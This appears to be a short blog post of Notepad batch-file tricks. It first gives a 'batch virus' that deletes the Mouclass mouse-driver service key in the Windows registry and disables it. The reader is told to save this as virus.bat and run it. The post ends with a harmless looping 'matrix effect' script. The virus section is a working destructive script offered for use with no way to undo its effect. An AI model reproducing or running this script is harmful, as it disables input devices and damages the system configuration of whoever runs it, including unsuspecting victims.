I had previously posted on making different batch files like matrix effect, opening no of websites with one click which were interesting and completely harmless but today we will be making a batch virus which is harmfull it will disable your mouse so think before trying it on yourself.

• Open Notepad and copy below codes

rem ---------------------------------
rem Disable Mouse
set key="HKEY_LOCAL_MACHINE\system\CurrentControlSet\Services\Mouclass"
reg delete %key%
reg add %key% /v Start /t REG_DWORD /d 4
rem ---------------------------------

• Save this file as  virus.bat
• Done you just created your virus.

        This is amazing notepad trick which will display matrix effect like you might have seen in movies, that isnumbers flashes in green colour. Basically we will be creating a small batch file in notepad.

• Go to Notepad and copy below codes

@echo off

color 02

:start

echo %random% %random% %random% %random% %random% %random% %random% %random% %random% %random%

goto start

• Save this file as matrix.bat 
• Now open this file as see matrix effect on your screen.
